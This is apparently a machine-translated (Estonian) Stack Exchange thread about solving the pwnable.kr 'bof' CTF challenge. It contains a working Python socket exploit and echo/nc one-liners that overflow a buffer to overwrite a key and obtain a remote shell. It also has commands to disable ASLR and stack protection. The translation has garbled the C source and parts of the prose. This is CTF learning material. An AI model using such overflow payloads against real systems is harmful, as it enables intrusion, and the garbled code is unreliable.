Küsimus:
Kuidas tõhusalt mööda minna GCC korstnate purustamise tuvastamisest
oddcoder
2016-01-17 04:16:30 UTC
view on stackexchange narkive permalink

Lahendasin bof-i väljakutset saidil http://pwnable.kr/play.php, see peab purustama järgmise koodi virna

  #include <stdio.h> # include <string.h> # include <stdlib.h>void func (int key) {char overflowme [32]; printf ("ületäitke mind:"); saab (ülevool); // purusta mind! if (võti! = 0xcafebabe) {süsteem ("/ bin / sh"); } else {printf ("Nah .. \ n"); }} int main (int argc, char * argv []) {func (0xdeadbeef); tagastage 0;}  

ja mulle anti kompilaatori versioon, mida pidin ära kasutama, ülesanne oli lihtne, kuid massiivi overflowme ületäitmisel juhtelementi, mida ma kunagi üle ei andnud asukohta / bin / sh selle asemel saan midagi sellist nagu *** tuvastatud pinu purustamine ***: ./bof lõpetatud katse1: proovige massiiv täita nullidega, välja arvatud key but failattempt2: hankige massiivi salvestuskoha mälukaart ja täitke massiiv selle prügikastiga, kuid siiski ebaõnnestus

Hääletan selle küsimuse sulgemise teemavälisena, sest ma ei arva, et stackexchange on õige koht sõjamängude rikkumiseks: need on mõeldud mängimiseks ja terviklahenduse postitamine tapab iga mängija lõbu.
Põhjus, miks eesliide on 52 baiti 32 asemel, on ka 8 baiti kanaari, pluss 8 bait kanaari ja virna serva vahel (kanaar on virnas [-0x10]) ja 4 baiti serva serva vahel virna ja parameeter (parameeter on virnas [0x4]), kokku veel 20 baiti.
Kolm vastused:
Jason Geffner
2016-01-17 05:10:29 UTC
view on stackexchange narkive permalink

Teil pole vaja mööda minna gcc-i pinu purustamistuvastusest. Kui kirjutate key õigesti üle, saate enne func () lõppu virnakontrolli läbiviimist interaktiivse kesta. Siin on tõestus Pythoni skripti kujul:

  import sockets = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect (("" pwnable.kr ", 9000)) s.send ("A" * 52 + "\ xBE \ xBA \ xFE \ xCA" + "\ x0A") print: "Teil on nüüd interaktiivne kest :)", kui True: s.send (raw_input () + "\ x0A ") print s.recv (1024)  
proovisin seda "echo -n -e" \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xbe \ xba \ xfe \ xca \ x00 "| nc pwnable.kr 9000`, kuid see ei õnnestunud
"gets ()" ootab sisendstringi lõpus reavoogu, kuid selle asemel kasutate lause "echo" lõpus nullbaiti.
Samuti ei usu, et \ "x00 \" kajaga töötab.
Tegelikult see toimis, mida saate kontrollida, sisestades väljundi xxd-le
@AhmedAbdElMawgood on väga vana küsimus, kuid olen postitanud vastuse, mis võib aidata teil mõista, miks kajaga versioon ei tööta.
TGO
2018-08-19 18:56:54 UTC
view on stackexchange narkive permalink

Jasoni vastus on õige lahendus. Tahtsin siiski anda alternatiivse vastuse ilma Pythonita, vaid terminalist. Parema automatiseerimise huvides eelistatakse alati IMO Pythoni, kuid mõnikord soovite lihtsalt ilma lisatööriistadeta kiiresti ära kasutada.

Seda silmas pidades oleks inimese loomulik katse umbes järgmine:

  kaja -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ xbe \ xba \ xfe \ xca \ x0a" | nc pwnable.kr 9000  

Lõppude lõpuks on see Pythonis ülaltoodud koodi täpne koopia, eks? Välja arvatud see, et server palub teistsugust erinevust:

*** tuvastatud pinu purunemine ***: / home / bof / bof lõpetatud ülevoolavad mind:

Nii , milles on siis probleem?

Mõelge korraks ülaltoodud käsule. See saadab kaugprotsessi stdinile hulga tähemärke lootuses käivitada / bin / sh. Kuid viga tervitab meid endiselt. Selle põhjuseks on see, et saadame õige kasuliku koormuse, kuid siis peatume . EOF. / bin / sh-l pole sisendit, nii et käivitamine jätkub järgmisele reale, kuni virnakaitse käivitub.

Põhjus, miks Python töötab, ja käsk echo mitte, on järjepidevus. Python ei sulge voogu, samas kui terminaliversioon seda teeb.

Selle tõestamiseks on siin terminali ärakasutamise veidi pikem versioon, mis tegelikult töötab:

  kaja -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ xbe \ xba \ xfe \ xca \ x0a" > payload.bin  

Kõigepealt salvestame täpse kasuliku koormuse nagu varem, sellisel juhul faili nimega payload.bin . Järgmisena käivitame järgmise käsu:

  cat payload.bin - | nc pwnable.kr 9000  

(Pange tähele - pärast payload.bini, pärast seda, kui kass on kasuliku koormuse.bin sisu välja andnud, hakkab ta stdini kaudu sisestama kõike, mis sisse tuleb)

Ja voila! Nüüd olete tegelikult sees. Võite proovida sisestada shellikäske, näiteks cat flag või touch / tmp / pwned või mis iganes soovite.

Ohoo! See oli pikk. Loodetavasti aitab see teave teisi segaduses olevaid hingi, nagu see aitas mind mõnda aega tagasi.

Not Star
2016-02-23 13:36:56 UTC
view on stackexchange narkive permalink

Esiteks peaksite kogu süsteemi ASLR-i keelama, saate seda teha järgmiselt:

  echo "0" > / proc / sys / kernel / randomize_va_space  

teiseks kompileerige oma programm lipu abil -zexecstack -fno-stack-protector -g

näide gcc program.c -o programm -zexecstack -fno-stack-protector -g

ergutab :)

See ei aita siiski kauglipu hankimist: /


See küsimus ja vastus tõlgiti automaatselt inglise keelest.Algne sisu on saadaval stackexchange-is, mida täname cc by-sa 3.0-litsentsi eest, mille all seda levitatakse.
Loading...